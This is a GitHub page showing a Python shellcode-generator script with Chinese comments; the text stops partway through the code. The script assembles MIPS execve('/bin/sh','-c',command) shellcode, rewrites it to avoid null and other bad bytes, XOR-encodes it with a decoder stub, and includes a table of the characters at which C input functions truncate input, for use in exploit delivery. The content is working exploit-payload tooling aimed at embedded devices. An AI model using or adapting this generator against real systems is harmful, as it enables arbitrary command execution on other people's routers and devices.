-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshellcode-generator_v1.py
More file actions
1549 lines (1375 loc) · 61.5 KB
/
shellcode-generator_v1.py
File metadata and controls
1549 lines (1375 loc) · 61.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import shutil
import sys
import os
import subprocess
import argparse
import random
import textwrap
import urllib.parse
from typing import List, Tuple
from pwn import *
import logging
current_user = os.path.expanduser('~')
os.makedirs("shellcode_directory", exist_ok=True)
os.makedirs("tools", exist_ok=True)
# --- 配置交叉编译器 ---
config = {
"SHELLCODE_DIRECTORY": "shellcode_directory", # 存放生成的shellcode文件的目录
"ARM_TOOLCHAIN_PATH": None,
"MIPS_TOOLCHAIN_PATH": None,
"QEMU_PATH": None,
"ARM_PATH": None,
"DOWNLOAD_MIPS_TOOLCHAIN_URL": "https://toolchains.bootlin.com/downloads/releases/toolchains/mips32/tarballs/mips32--glibc--stable-2024.05-1.tar.xz",
"DOWNLOAD_MIPSEL_TOOLCHAIN_URL": "https://toolchains.bootlin.com/downloads/releases/toolchains/mips32el/tarballs/mips32el--glibc--stable-2024.05-1.tar.xz",
"DOWNLOAD_ARMEB_TOOLCHAIN_URL": "https://toolchains.bootlin.com/downloads/releases/toolchains/armebv7-eabihf/tarballs/armebv7-eabihf--uclibc--stable-2024.05-1.tar.xz",
"DOWNLOAD_ARM_TOOLCHAIN_URL": "https://toolchains.bootlin.com/downloads/releases/toolchains/armv7-eabihf/tarballs/armv7-eabihf--uclibc--stable-2024.05-1.tar.xz",
"BAD_BYTES": ['00', '3B', '0a', '0b', '0c', '0d', '20', '09']
}
# --- 配置日志记录器 ---
logging.basicConfig(
level=logging.DEBUG,
format="%(asctime)s - %(levelname)s - %(message)s",
filename=f"{config['SHELLCODE_DIRECTORY']}/generate_shellcode.log",
filemode="a"
)
from typing import List, Dict, Any
import unicodedata
class FunctionTruncationSummary:
def __init__(self):
self.summary_data = [
{
"函数": "read(0,a,0x100)",
"截断字符": "EOF",
"截断属性": "无",
"截断字符是否保留": "无",
"截断后": "无"
},
{
"函数": "*a = getchar()",
"截断字符": "EOF",
"截断属性": "无",
"截断字符是否保留": "无",
"截断后": "无"
},
{
"函数": "scanf(\"%c\",a)",
"截断字符": "EOF",
"截断属性": "无",
"截断字符是否保留": "无",
"截断后": "无"
},
{
"函数": "scanf(\"%s\",a)",
"截断字符": "EOF 0x09 0x0A 0x0B 0x0C 0x0D 0x20",
"截断属性": "截断字符前有有效内容则截断,如无有效内容则跳过截断字符读后面",
"截断字符是否保留": "不保留",
"截断后": "0x00"
},
{
"函数": "sscanf(a,\"%s\",b)",
"截断字符": "0x00 0x09 0x0A 0x0B 0x0C 0x0D 0x20",
"截断属性": "截断字符前有有效内容则截断,如无有效内容则跳过截断字符读后面",
"截断字符是否保留": "不保留",
"截断后": "0x00"
},
{
"函数": "sscanf(a,\"%[^;];\",b)",
"截断字符": "0x00 0x3B",
"截断属性": "无",
"截断字符是否保留": "不保留",
"截断后": "0x00"
},
{
"函数": "gets(a)",
"截断字符": "EOF 0x0A",
"截断属性": "截断字符前无论有无有效内容均截断",
"截断字符是否保留": "不保留",
"截断后": "0x00"
},
{
"函数": "fgets(a,256,stdin)",
"截断字符": "EOF 0x0A",
"截断属性": "截断字符前无论有无有效内容均截断",
"截断字符是否保留": "保留",
"截断后": "0x00"
},
{
"函数": "sprintf(b,\"%s\",a)",
"截断字符": "0x00",
"截断属性": "无",
"截断字符是否保留": "保留",
"截断后": "无(相当于截断字符不保留,截断后加0x00)"
},
{
"函数": "strcpy(b,a)",
"截断字符": "0x00",
"截断属性": "无",
"截断字符是否保留": "保留",
"截断后": "无(相当于截断字符不保留,截断后加0x00)"
},
{
"函数": "strcat(b,a)",
"截断字符": "0x00",
"截断属性": "无",
"截断字符是否保留": "保留",
"截断后": "无(相当于截断字符不保留,截断后加0x00)"
},
{
"函数": "strncat(b,a,0x10)",
"截断字符": "0x00",
"截断属性": "无",
"截断字符是否保留": "保留",
"截断后": "无(相当于截断字符不保留,截断后加0x00)"
},
{
"函数": "strncat(b,a,0x10)",
"截断字符": "到达拷贝长度",
"截断属性": "无",
"截断字符是否保留": "保留",
"截断后": "如果到达拷贝长度,则自动补上0x00"
},
{
"函数": "memcpy(b,a,0x10)",
"截断字符": "",
"截断属性": "",
"截断字符是否保留": "",
"截断后": ""
}
]
@staticmethod
def _get_display_width(text: str) -> int:
return sum(2 if unicodedata.east_asian_width(char) in ('W', 'F') else 1 for char in text)
def print_summary(self):
if not self.summary_data:
print("表格数据为空。")
return
headers = list(self.summary_data[0].keys())
col_widths = {header: self._get_display_width(header) for header in headers}
for row in self.summary_data:
for header in headers:
content = str(row.get(header, ''))
col_widths[header] = max(col_widths[header], self._get_display_width(content))
header_line_parts = []
for header in headers:
width = col_widths[header]
padding = width - self._get_display_width(header)
header_line_parts.append(header + ' ' * padding)
print(" | ".join(header_line_parts))
separator_width = sum(col_widths.values()) + (len(headers) - 1)
print("-" * separator_width)
for row in self.summary_data:
row_line_parts = []
for header in headers:
content = str(row.get(header, ''))
width = col_widths[header]
padding = width - self._get_display_width(content)
row_line_parts.append(content + ' ' * padding)
print("|".join(row_line_parts))
class Mips_Generate_short_shellcode:
ASM_MIPS = """
.set noreorder
li $a2,1638
bltzal $a2,0
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-3997
addiu $a1,$s3,-3989
addiu $a2,$s3,-3986
lw $t2,-4101($s3)
lw $t3,-3993($s3)
addu $t3,$t3,$t2
sw $t3,-3993($s3)
lw $t3,-3989($s3)
addu $t3,$t3,$t2
sw $t3,-3989($s3)
lw $t3,-{offset}($s3)
addu $t3,$t3,$t2
sw $t3,-{offset}($s3)
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
addiu $a1,$sp,-24
addiu $s4,$zero,1111 #将 $a2设置为0
addiu $a2,$s4,-1111
li $v0,4011
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
def __init__(self, command: str, endian: str, save_file: bool = False):
self.command = command
self.endian = endian
self.save_file = save_file
self.generate_shellcode(command, endian)
def generate_shellcode(self, command: str, endian: str):
try:
asm_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_test_shellcode.s")
as_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_test_shellcode.o")
obj_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_test_shellcode.bin")
# --- 1、先生成shellcode确认偏移地址 ---
temp_asm = self.ASM_MIPS.format(command=command, offset=3985)
with open(asm_file_path, "w") as f:
f.write(temp_asm)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}as", "-o", as_file_path, asm_file_path], check=True)
subprocess.run(
[f"{config['MIPS_TOOLCHAIN_PATH']}objcopy", "-O", "binary", "--only-section=.text", as_file_path,
obj_file_path], check=True)
with open(obj_file_path, "rb") as f:
shellcode = f.read()
# ---获取偏移地址---
logging.info(f"[START]")
_, offset = self.strip_trailing_null_blocks(shellcode)
logging.info(f"[mips] 第一次编译 确认自修复的偏移地址 : {(offset)}")
# --- 2、传入真实的偏移地址 ---
temp_asm = self.ASM_MIPS.format(command=command, offset=offset)
with open(asm_file_path, "w") as f:
f.write(temp_asm)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}as", "-o", as_file_path, asm_file_path], check=True)
subprocess.run(
[f"{config['MIPS_TOOLCHAIN_PATH']}objcopy", "-O", "binary", "--only-section=.text", as_file_path,
obj_file_path], check=True)
with open(obj_file_path, "rb") as f:
shellcode = f.read()
shellcode, _ = self.strip_trailing_null_blocks(shellcode)
logging.info(f"[mips] 第二次编译 生成 MIPS shellcode : {(shellcode.hex())}")
modified_shellcode = self.patch_shellcode_segment(shellcode, endian)
logging.info(f"[mips] patch_shellcode_segment 运算后的 shellcode : {(modified_shellcode.hex())}")
logging.info(f"[END]")
print(f"✅ 生成 MIPS shellcode 成功! 长度: {len(modified_shellcode)} 字节")
print_as_python_bytes(modified_shellcode)
found, bad_bytes = check_bad_bytes(modified_shellcode)
print(f"shellcode: 在shellcode中找到坏字节?{found}, 坏字节列表: {bad_bytes}")
MipsVerifyShellcode(modified_shellcode)
except FileNotFoundError:
print(
f"[!] 错误: MIPS 交叉编译工具链未找到, 请检查 config['MIPS_TOOLCHAIN_PATH'] 的设置: '{config['MIPS_TOOLCHAIN_PATH']}'")
except subprocess.CalledProcessError as e:
print(f"[!] 编译失败: {e}")
if hasattr(e, 'stderr') and e.stderr:
print(f"错误详情: {e.stderr.decode('utf-8', 'ignore')}")
finally:
if self.save_file == False:
for f in [asm_file_path, as_file_path, obj_file_path]:
if os.path.exists(f):
os.remove(f)
else:
print(f"\n[+] 中间文件已保存:")
print(f" - 汇编源码: {asm_file_path}")
print(f" - as文件: {as_file_path}")
print(f" - objcopy: {obj_file_path}")
def patch_shellcode_segment(self, shellcode: bytes, endian: str) -> bytes:
if endian == "big":
endianness_format = '>I'
else:
endianness_format = '<I'
SUBTRAHEND_VALUE = 0x33333333
INSERTION_SIZE = 4
SUBTRAHEND_BYTES = struct.pack(endianness_format, SUBTRAHEND_VALUE)
logging.info("[mips] --- 阶段 1: 核心修补 (插入和 T1/T2 减法) ---")
# 定义索引 (针对原始 shellcode)
S_INSERT_INDEX = 8
T1_START = 112
T1_END = 116
T2_START = 116
T2_END = 120
TOTAL_REPLACEMENT_END = T2_END
required_length = TOTAL_REPLACEMENT_END
if len(shellcode) < required_length:
print(
f"错误: shellcode 长度不足 {required_length} 字节。至少需要 {required_length} 字节。当前长度: {len(shellcode)}")
return shellcode
t1_original_bytes = shellcode[T1_START:T1_END]
t1_original_value, = struct.unpack(endianness_format, t1_original_bytes)
t1_result_value = t1_original_value - SUBTRAHEND_VALUE
t1_new_bytes = struct.pack(endianness_format, t1_result_value & 0xFFFFFFFF)
t2_original_bytes = shellcode[T2_START:T2_END]
t2_original_value, = struct.unpack(endianness_format, t2_original_bytes)
t2_result_value = t2_original_value - SUBTRAHEND_VALUE
t2_new_bytes = struct.pack(endianness_format, t2_result_value & 0xFFFFFFFF)
T1_T2_new_bytes = t1_new_bytes + t2_new_bytes
shellcode_stage1 = (
shellcode[0:S_INSERT_INDEX] +
SUBTRAHEND_BYTES +
shellcode[S_INSERT_INDEX:T1_START] +
T1_T2_new_bytes +
shellcode[TOTAL_REPLACEMENT_END:]
)
segment_size = 4
null_byte = b'\x00'
mutable_patch_target = bytearray(shellcode_stage1)
modified_count = 0
logging.info("[mips] --- 阶段 2: command 0x00 字节块修补 ---")
for i in range(0, len(mutable_patch_target), segment_size):
chunk = mutable_patch_target[i:i + segment_size]
if len(chunk) != segment_size:
continue
if null_byte in chunk:
current_value, = struct.unpack(endianness_format, chunk)
new_value = current_value - SUBTRAHEND_VALUE
new_bytes = struct.pack(endianness_format, new_value & 0xFFFFFFFF)
logging.info(f"[mips] [PATCHED] 索引 {i:3} 到 {i + 3:3} (原值: 0x{chunk.hex()}) -> 新值: 0x{new_bytes.hex()}")
mutable_patch_target[i:i + segment_size] = new_bytes
modified_count += 1
logging.info(f"[mips] --- command 0x00 字节块处理完成。共修补 {modified_count} 个块。---")
return bytes(mutable_patch_target)
def strip_trailing_null_blocks(self, shellcode: bytes) -> bytes:
block_size = 4
null_byte = b'\x00'
start_index = 120
new_shellcode_list = []
original_shellcode_len = len(shellcode)
for i in range(0, original_shellcode_len, block_size):
chunk = shellcode[i:i + block_size]
if len(chunk) != block_size:
new_shellcode_list.append(chunk)
continue
if chunk == b'\x00' * block_size:
logging.info(f"[mips] [REMOVED] 去除全零块,原始起始索引: {i:3} 0x{chunk.hex()}")
else:
new_shellcode_list.append(chunk)
shellcode = b"".join(new_shellcode_list)
for i in range(start_index, len(shellcode), block_size):
chunk = shellcode[i:i + block_size]
if len(chunk) == block_size and null_byte in chunk:
logging.info(f"[mips] [FOUND] 块索引 {i:3} 包含一个或多个 Null 字节 (内容: 0x{chunk.hex()})")
offset = (4097 - 112 - (i - 120))
return shellcode, offset
class MipsShellcodeGenerator:
ASM_TEMPLATE = """
.section .text
.globl __start
.set noreorder
__start:
bal find_data
nop
find_data:
addu $s0, $ra, 56
move $s1, $s0
addiu $s2, $s0, 8
addiu $s3, $s0, 11
addiu $sp, $sp, -16
sw $s1, 0($sp)
sw $s2, 4($sp)
sw $s3, 8($sp)
sw $zero, 12($sp)
move $a0, $s1
move $a1, $sp
move $a2, $zero
li $v0, 4011
syscall
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
def __init__(self, cmd, save_file=False):
"""
初始化生成器。
"""
if not cmd:
raise ValueError("命令不能为空。")
self.cmd = cmd
self.save_file = save_file
self.raw_shellcode = None
self.generate()
def generate(self):
"""
执行编译流程并生成 shellcode。
"""
final_asm_code = self.ASM_TEMPLATE.format(command=self.cmd)
try:
asm_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode.s")
obj_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode.o")
elf_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode.elf")
bin_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode.bin")
# 1. 写入汇编文件
with open(asm_file_path, "w") as f:
f.write(final_asm_code)
# 2. 汇编 (as)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}as", "-o", obj_file_path, asm_file_path], check=True)
# 3. 链接 (ld)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}ld", "-o", elf_file_path, obj_file_path], check=True)
# 4. 提取 .text 段 (objcopy)
subprocess.run([
f"{config['MIPS_TOOLCHAIN_PATH']}objcopy",
"-O", "binary",
"--only-section=.text",
elf_file_path,
bin_file_path
], check=True)
# 5. 读取最终的 shellcode
with open(bin_file_path, "rb") as f:
self.raw_shellcode = f.read()
finally:
# 清理临时文件
if self.save_file == False:
for f in [asm_file_path, obj_file_path, elf_file_path, bin_file_path]:
if os.path.exists(f):
os.remove(f)
else:
print(f"\n[+] 中间文件已保存:")
print(f" - 汇编文件: {asm_file_path}")
print(f" - 目标文件: {obj_file_path}")
print(f" - 链接文件: {elf_file_path}")
print(f" - 二进制文件: {bin_file_path}")
class MipsShellcodeGenerator_long:
def __init__(self, cmd, arch, save_file=False):
self.cmd = cmd
self.arch = arch
self.save_file = save_file
self.xxd_bin_file = None
self.raw_shellcode = None
self.generate()
def generate(self):
"""
根据指定的架构(arm/mips)和命令生成对应的shellcode。
"""
asm_code = """
__asm__ volatile (
"li $v0, 4011\\n\\t"
"move $a0, %0\\n\\t"
"move $a1, %1\\n\\t"
"li $a2, 0\\n\\t"
"syscall\\n\\t"
:
: "r"(arg0), "r"(args)
: "$v0", "$a0", "$a1", "$a2"
);
"""
# --- 2. 构建完整的C语言源码 ---
shellcode_c = f"""
#include <sys/syscall.h>
void _start() {{
// 构建 execve 的参数
{self.format_c_char_array("arg0", "/bin/sh")}
{self.format_c_char_array("arg1", "-c")}
{self.format_c_char_array("arg2", self.cmd)}
char *args[] = {{arg0, arg1, arg2, 0}};
// 执行特定架构的内联汇编
{asm_code}
}}
"""
# --- 3. 编译并提取二进制代码 ---
c_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode.c")
elf_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode")
bin_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_raw_shellcode.bin")
try:
with open(c_file, "w") as fd:
fd.write(shellcode_c)
# 1. 编译C代码为ELF文
subprocess.run(
[f"{config['MIPS_TOOLCHAIN_PATH']}gcc", "-fno-stack-protector", "-nostdlib", "-static", "-O0", "-o",
elf_file, c_file],
capture_output=True, text=True
)
# 2. 从ELF文件中提取纯二进制的.text段
subprocess.run(
[f"{config['MIPS_TOOLCHAIN_PATH']}objcopy", "-O", "binary", "-j", ".text", elf_file, bin_file],
capture_output=True, text=True
)
# 3. 使用objdump查看反汇编结果
subprocess.run(
[f"{config['MIPS_TOOLCHAIN_PATH']}objdump", "-D", "-b", "binary", "-m", self.arch.lower(), bin_file],
capture_output=True, text=True
)
# 4. 读取生成的二进制shellcode
self.xxd_bin_file = subprocess.run(
["xxd", "-i", bin_file],
capture_output=True, text=True
)
with open(bin_file, "rb") as fd:
self.raw_shellcode = fd.read()
finally:
# 清理临时文件
if self.save_file == False:
for f in [c_file, elf_file, bin_file]:
if os.path.exists(f):
os.remove(f)
else:
print(f"\n[+] 中间文件已保存:")
print(f" - C源码: {c_file}")
print(f" - ELF文件: {elf_file}")
print(f" - 二进制: {bin_file}")
def format_c_char_array(self, var_name, string):
"""
将一个Python字符串格式化为C语言的字符数组初始化代码。
"""
output = []
length = len(string) + 1
output.append(f"char {var_name}[{length}];")
for i, c in enumerate(string):
if c == "'":
c_repr = "\\'"
elif c == '\\':
c_repr = '\\\\'
elif c == '\n':
c_repr = '\\n'
elif c == '\t':
c_repr = '\\t'
else:
c_repr = c
output.append(f"{var_name}[{i}] = '{c_repr}';")
output.append(f"{var_name}[{length - 1}] = '\\0';")
return "\n".join(output)
class XorEncoder:
def __init__(self, raw_shellcode, endian, bad_bytes):
"""
初始化XOR编码器。
"""
self.raw_shellcode = raw_shellcode
self.bad_bytes_list = bad_bytes
self.bad_bytes_set = set(self.bad_bytes_list)
self.key = None
self.xor_encoded_shellcode = None
self.xor_encoded_shellcode_bin_file = os.path.join(config["SHELLCODE_DIRECTORY"],
"mips_xor_encoded_shellcode.bin")
print(f"[+] 开始进行XOR编码,处理坏字节... 定义的坏字节: {[hex(b) for b in self.bad_bytes_list]}")
self.endian = endian
# --- 2. 立即执行编码流程 ---
self.generate()
def _pad_shellcode(self):
"""
将shellcode填充到4字节的倍数,以进行安全的DWORD操作。
使用 NOP (0x00) 指令进行填充。
"""
padding_needed = (4 - len(self.raw_shellcode) % 4) % 4
padded_shellcode = self.raw_shellcode
if padding_needed > 0:
print(f" -- Shellcode长度不是4的倍数,需要用 NOP 填充 {padding_needed} 字节。")
# NOP指令的字节表示
nop_instruction = b'\x00'
# 检查NOP指令本身是否是坏字节
if 0x00 in self.bad_bytes_set:
raise ValueError("填充字节 0x00 是一个坏字节,无法进行填充。请考虑其他填充方案。")
padded_shellcode += nop_instruction * padding_needed
return padded_shellcode
def generate(self):
"""
循环寻找安全的XOR密钥并加密payload。
一个安全的密钥及其加密后的shellcode都不应包含任何坏字节。
"""
padded_shellcode = self._pad_shellcode()
attempts = 0
max_attempts = 100000
while True:
attempts += 1
if attempts > max_attempts:
raise RuntimeError(f"在 {max_attempts} 次尝试后仍未找到安全密钥。请检查坏字节列表或shellcode。")
# 随机生成一个4字节(32位)的密钥
key_int = random.randint(1, 0xFFFFFFFF)
key_bytes = key_int.to_bytes(4, self.endian)
# 1. 检查密钥本身是否包含坏字节
if any(b in self.bad_bytes_set for b in key_bytes):
continue
# 2. 使用此候选密钥加密整个shellcode
encoded_buffer = bytearray()
is_encoded_safe = True
for i in range(0, len(padded_shellcode), 4):
chunk = padded_shellcode[i:i + 4]
dword = int.from_bytes(chunk, self.endian)
xored_dword_int = dword ^ key_int
xored_dword_bytes = xored_dword_int.to_bytes(4, self.endian)
# 3. 检查加密后的块是否包含坏字节
if any(b in self.bad_bytes_set for b in xored_dword_bytes):
is_encoded_safe = False
break
encoded_buffer.extend(xored_dword_bytes)
if is_encoded_safe:
self.key = key_int
self.xor_encoded_shellcode = bytes(encoded_buffer)
print(f"✅ 成功!在 {attempts} 次尝试后找到安全密钥: {hex(self.key)}")
return
class XorDecoder:
"""
负责管理解码器模板,并组装最终的shellcode。
"""
MIPS_DECODER_TEMPLATE = """
.section .text
.global __start
.set noreorder
__start:
li $t8, -0x666
p:
bltzal $t8, p
slti $t8, $zero, -1
li $s1, {val_for_payload_start}
nor $s1, $s1, $s1
addu $s1, $ra, $s1
li $t2, {val_for_loop_count}
nor $t2, $t2, $t2
addu $t0, $t2, $t2
addu $t0, $t0, $t0
addu $t0, $s1, $t0
lui $t1, {key_high}
ori $t1, $t1, {key_low}
decode_loop:
lw $t6, -4($t0)
nor $t5, $t1, $t1
and $t4, $t6, $t5
nor $t5, $t6, $t6
and $t5, $t5, $t1
or $t4, $t4, $t5
sw $t4, -4($t0)
addu $t0, $t0, -4
addiu $t2, $t2, -1
bne $t2, $zero, decode_loop
slti $at, $at, -1
finished:
jalr $ra, $s1
slti $at, $at, -1
"""
def __init__(self, shellcode, key, save_file=False):
"""
初始化XOR解码器。
"""
self.shellcode = shellcode
self.key = key
self.val_for_payload_start = None
self.val_for_loop_count = None
self.xor_decoded_shellcode_bin_file = os.path.join(config["SHELLCODE_DIRECTORY"],
"mips_xor_decoded_shellcode.bin")
self.xor_decoded_shellcode = None
self.save_file = save_file
self._decode_len()
def _decode_len(self):
key_high = hex(self.key >> 16)
key_low = hex(self.key & 0xFFFF)
loop_count = len(self.shellcode) // 4
val_for_loop_count = -(loop_count + 1)
temp_asm = self.MIPS_DECODER_TEMPLATE.format(
val_for_payload_start=-1, val_for_loop_count=-1,
key_high=key_high, key_low=key_low
)
self._generate_decoder(temp_asm, save_file=False)
offset_to_payload = len(self.xor_decoded_shellcode) - 8
self.val_for_payload_start = -(offset_to_payload - 3)
final_asm = self.MIPS_DECODER_TEMPLATE.format(
val_for_payload_start=self.val_for_payload_start,
val_for_loop_count=val_for_loop_count,
key_high=key_high,
key_low=key_low
)
self._generate_decoder(final_asm, save_file=self.save_file)
def _generate_decoder(self, asm_code, save_file):
try:
"""编译汇编代码并提取.text节,返回二进制数据和其长度。"""
s_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_xor_decoder.s")
o_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_xor_decoder.o")
bin_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_xor_decoder.bin")
with open(s_file, "w") as f:
f.write(asm_code)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}as", "-o", o_file, s_file], capture_output=True)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}objcopy", "-O", "binary", "-j", ".text", o_file, bin_file],
capture_output=True)
with open(bin_file, "rb") as f:
binary_data = f.read()
# 在返回前就移除末尾的空字节
self.xor_decoded_shellcode = binary_data.rstrip(b'\x00')
finally:
# 清理临时文件
if save_file == False:
for f in [s_file, o_file, bin_file]:
if os.path.exists(f):
os.remove(f)
else:
print(f"\n[+] 中间文件已保存:")
print(f" - C源码: {s_file}")
print(f" - ELF文件: {o_file}")
print(f" - 二进制: {bin_file}")
class Sleep:
"""
一个独立的类,专门用于生成一段MIPS sleep(0)存根的二进制shellcode。
这段代码旨在通过强制上下文切换来解决指令缓存(I-Cache)同步问题。
"""
# MIPS汇编模板 ---
MIPS_SLEEP_TEMPLATE = """
.section .text
.global __start
.set noreorder
__start:
bal get_pc
nop
get_pc:
addiu $s1, $ra, 56
addiu $sp, $sp, -8
li $t0, 3
sw $t0, 0($sp)
sw $zero, 4($sp)
move $a0, $sp
li $v0, 4166
syscall
addiu $sp, $sp, 8
move $a0, $s1
li $a1, 1024
li $a2, 1
li $v0, 4147
syscall
"""
def __init__(self, save_file=False, verbose=False):
"""
初始化Sleep存根生成器。
"""
self.save_file = save_file
self.verbose = verbose
self.bin_file_name = "sleep_stub.bin"
self.Sleep_shellcode = None
self.generate()
def generate(self):
"""
执行完整的编译流程
"""
s_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_sleep_shellcode.s")
o_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_sleep_shellcode.o")
bin_file = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_sleep_shellcode.bin")
# 将汇编模板写入.s文件
with open(s_file, "w") as f:
f.write(self.MIPS_SLEEP_TEMPLATE)
if self.verbose:
print(f"[Sleep Class] Compiling assembly file: {s_file}")
# 编译汇编代码为对象文件(.o)
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}gcc", "-c", "-nostdlib", "-o", o_file, s_file],
capture_output=True, text=True)
if self.verbose:
print(f"[Sleep Class] Extracting .text section from {o_file}")
subprocess.run([f"{config['MIPS_TOOLCHAIN_PATH']}objcopy", "-O", "binary", "-j", ".text", o_file, bin_file],
capture_output=True, text=True)
# 读取最终的二进制数据
with open(bin_file, "rb") as fd:
sleep_shellcode = fd.read()
self.Sleep_shellcode = sleep_shellcode
if not self.save_file:
for f in [s_file, o_file, bin_file]:
if os.path.exists(f):
os.remove(f)
class MipsVerifyShellcode:
"""
一个用于生成、编译并执行C语言Shellcode测试框架的类。
"""
def __init__(self, shellcode_bytes):
"""
初始化生成器。
"""
if not isinstance(shellcode_bytes, bytes):
raise TypeError("shellcode_bytes 参数必须是 bytes 类型。")
self.shellcode_bytes = shellcode_bytes
self.generate_and_run()
def _format_shellcode_as_c_string(self):
"""
将二进制数据格式化为C语言的字符串字面量数组。
"""
if not self.shellcode_bytes:
return ' "";'
c_string_lines = []
for i in range(0, len(self.shellcode_bytes), 4):
chunk = self.shellcode_bytes[i:i + 4]
hex_string = "".join([f"\\x{byte:02x}" for byte in chunk])
c_string_lines.append(f'"{hex_string}"')
return '\n'.join(c_string_lines) + '\n;'
def generate_and_run(self):
"""
生成、编译并执行完整的C语言测试文件。
"""
# 1.准备C代码前,先格式化shellcode
formatted_shellcode = self._format_shellcode_as_c_string()
final_c_code = f"""
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] =
{formatted_shellcode}
int main() {{
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {{
